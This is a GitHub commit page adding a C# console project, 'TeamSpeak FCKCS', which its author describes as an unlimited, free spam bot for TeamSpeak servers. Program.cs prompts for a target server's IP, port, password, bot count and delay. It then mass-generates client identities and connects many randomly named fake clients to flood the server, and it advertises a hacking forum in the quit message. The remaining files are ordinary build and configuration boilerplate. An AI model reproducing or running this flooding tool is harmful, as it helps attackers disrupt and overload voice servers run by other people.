Skip to content

Commit

Permalink
spam bot to a teamspeak, unlimited, for free.
Browse files Browse the repository at this point in the history
  • Loading branch information
Kleberstoff committed Sep 22, 2017
1 parent 573cd01 commit 5a07c0c
Show file tree
Hide file tree
Showing 42 changed files with 1,605 additions and 0 deletions.
Binary file added .vs/TeamSpeak FCK/v15/sqlite3/storage.ide
Binary file not shown.
Binary file added .vs/TeamSpeak FCKCS/v15/sqlite3/storage.ide
Binary file not shown.
25 changes: 25 additions & 0 deletions TeamSpeak FCKCS.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26730.16
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TeamSpeak FCKCS", "TeamSpeak FCKCS\TeamSpeak FCKCS.csproj", "{3C277514-5243-47FF-B736-0BE08F033993}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3C277514-5243-47FF-B736-0BE08F033993}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3C277514-5243-47FF-B736-0BE08F033993}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3C277514-5243-47FF-B736-0BE08F033993}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3C277514-5243-47FF-B736-0BE08F033993}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {8EABE5B8-EF4D-47D6-81A2-172B756DC7B1}
EndGlobalSection
EndGlobal
6 changes: 6 additions & 0 deletions TeamSpeak FCKCS/App.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7"/>
</startup>
</configuration>
4 changes: 4 additions & 0 deletions TeamSpeak FCKCS/FodyWeavers.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
190 changes: 190 additions & 0 deletions TeamSpeak FCKCS/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
using System;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Runtime.InteropServices;

using TS3Client;
using TS3Client.Full;
using System.Threading;
using System.IO;

namespace TeamSpeak_FCKCS
{
class Program
{
[DllImport("Kernel32")]
private static extern bool SetConsoleCtrlHandler(EventHandler handler, bool add);

private delegate bool EventHandler(CtrlType sig);
static EventHandler _handler;

enum CtrlType
{
CTRL_C_EVENT = 0,
CTRL_BREAK_EVENT = 1,
CTRL_CLOSE_EVENT = 2,
CTRL_LOGOFF_EVENT = 5,
CTRL_SHUTDOWN_EVENT = 6
}
public static bool exitSystem = false;
public static Random random = new Random();
public static List<Ts3FullClient> Clients = new List<Ts3FullClient>();
static void Main()
{
try
{
Console.Title = "TeamSpeak Bot Spawner [Codename: FCKCS]";
Console.OutputEncoding = Encoding.UTF8;

_handler += new EventHandler(Handler);
SetConsoleCtrlHandler(_handler, true);

new Program().Worker().GetAwaiter().GetResult();

while (!exitSystem)
{
Thread.Sleep(5000);
}
}
catch (Exception Ex)
{
Console.WriteLine(Ex.Message);
}
}

public async Task Worker()
{
BaseInterface();

Console.WriteLine("Yo Sucker, enter IP:");
string IP = Console.ReadLine();

BaseInterface();

Console.WriteLine("Yo Sucker, enter a Port:");
ushort.TryParse(Console.ReadLine(), out ushort Port);

BaseInterface();

Console.WriteLine("Yo Sucker, require a Security Level: ");
int.TryParse(Console.ReadLine(), out int SecurityLevel);

BaseInterface();

Console.WriteLine("Yo Sucker, how many Bots you want to spawn? ");
int.TryParse(Console.ReadLine(), out int BotsToSpawn);

BaseInterface();

Console.WriteLine("Yo Sucker, delay between connections(ms): ");
int.TryParse(Console.ReadLine(), out int Delay);

BaseInterface();

Console.WriteLine("Yo Sucker, Password of the Server?");
string Password = Console.ReadLine();

await Spawner(IP, Port, SecurityLevel, BotsToSpawn, Delay, Password);
}

public async Task Spawner(string IP, ushort Port, int SecurityLevel, int Bots, int Delay, string Password)
{
List<IdentityData> Identities = new List<IdentityData>();
Ts3FullClient Client = null;

try
{
Console.WriteLine("Generating Identities..");
for (int i = 1; i <= Bots; i++)
{
Identities.Add(Ts3Crypt.GenerateNewIdentity(SecurityLevel));
Console.WriteLine($"Generated: {i}/{Bots}");
}

foreach (IdentityData Identity in Identities)
{
Client = new Ts3FullClient(EventDispatchType.AutoThreadPooled); ;
string BotName = GenerateName();

Console.WriteLine($"Connecting Bot with Name: {BotName} using Identity {Identity.PublicKeyString}");

ConnectionDataFull Connection = new ConnectionDataFull()
{
Hostname = IP,
Port = Port,
Username = BotName,
Identity = Identity,
Password = Password
};

Client.Connect(Connection);
Client.QuitMessage = "https://r4p3.net [Stay W4RM]";
Clients.Add(Client);

await Task.Delay(Delay);
}
}
catch (Exception Ex)
{
Console.WriteLine($"{Ex.Message}");
Console.Read();
}
finally
{
BaseInterface();

Console.WriteLine("Done!");
Console.WriteLine($"{Clients.Count}/{Bots} on {IP}");
}
}

public void BaseInterface()
{
Console.Clear();

Console.ForegroundColor = ConsoleColor.DarkGreen;

Console.WriteLine(@" _________ ______ ________ ______ ___ ____ ______ ______ ");
Console.WriteLine(@"| _ _ | / ____ `. |_ __ | .' ___ ||_ ||_ _| .' ___ |.' ____ \ ");
Console.WriteLine(@"|_/ | | \_|.--. `' __) | | |_ \_|/ .' \_| | |_/ / / .' \_|| (___ \_| ");
Console.WriteLine(@" | | ( (`\] _ |__ '. | _| | | | __'. | | _.____`. ");
Console.WriteLine(@" _| |_ `'.'.| \____) | _| |_ \ `.___.'\ _| | \ \_\ `.___.'\| \____) | ");
Console.WriteLine(@" |_____| [\__) )\______.' |_____| `.____ .'|____||____|`.____ .' \______.' ");
Console.WriteLine(@" ");

Console.WriteLine("Credits: ");
Console.WriteLine(@"Splamy | Reversing the TeamSpeak Client and making it Public");
Console.WriteLine(@"tagKnife | Fucker who posted this Closed Source and limited.");
Console.WriteLine(@"Kleberstoff | Idiot who made the unlimited and OpenSource.");

Console.ForegroundColor = ConsoleColor.White;

Console.WriteLine();
}

public string GenerateName(int Length = 8)
{
const string Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(Chars, Length)
.Select(s => s[random.Next(s.Length)]).ToArray());
}

private static bool Handler(CtrlType sig)
{
foreach (Ts3FullClient Client in Clients)
{
Client.Disconnect();
}

//allow main to run off
exitSystem = true;

//shutdown right away so there are no lingering threads
Environment.Exit(-1);

return true;
}
}
}
36 changes: 36 additions & 0 deletions TeamSpeak FCKCS/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("TeamSpeak FCK")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("TeamSpeak FCK")]
[assembly: AssemblyCopyright("Copyright © 2017")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("3c277514-5243-47ff-b736-0be08f033993")]

// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
75 changes: 75 additions & 0 deletions TeamSpeak FCKCS/TeamSpeak FCKCS.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{3C277514-5243-47FF-B736-0BE08F033993}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>TeamSpeak_FCKCS</RootNamespace>
<AssemblyName>TeamSpeak FCKCS</AssemblyName>
<TargetFrameworkVersion>v4.7</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
<TargetFrameworkProfile />
<NuGetPackageImportStamp>
</NuGetPackageImportStamp>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Costura, Version=1.6.2.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\packages\Costura.Fody.1.6.2\lib\dotnet\Costura.dll</HintPath>
<Private>False</Private>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
<Reference Include="TS3Client">
<HintPath>..\..\TS3Client.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<None Include="FodyWeavers.xml" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Import Project="..\packages\Fody.2.0.0\build\netstandard1.4\Fody.targets" Condition="Exists('..\packages\Fody.2.0.0\build\netstandard1.4\Fody.targets')" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\Fody.2.0.0\build\netstandard1.4\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.2.0.0\build\netstandard1.4\Fody.targets'))" />
<Error Condition="!Exists('..\packages\Costura.Fody.1.6.2\build\dotnet\Costura.Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.1.6.2\build\dotnet\Costura.Fody.targets'))" />
</Target>
<Import Project="..\packages\Costura.Fody.1.6.2\build\dotnet\Costura.Fody.targets" Condition="Exists('..\packages\Costura.Fody.1.6.2\build\dotnet\Costura.Fody.targets')" />
</Project>
6 changes: 6 additions & 0 deletions TeamSpeak FCKCS/bin/Debug/TeamSpeak FCKCS.exe.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7"/>
</startup>
</configuration>
6 changes: 6 additions & 0 deletions TeamSpeak FCKCS/bin/Release/TeamSpeak FCKCS.exe.config
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7"/>
</startup>
</configuration>
Loading

0 comments on commit 5a07c0c

Please sign in to comment.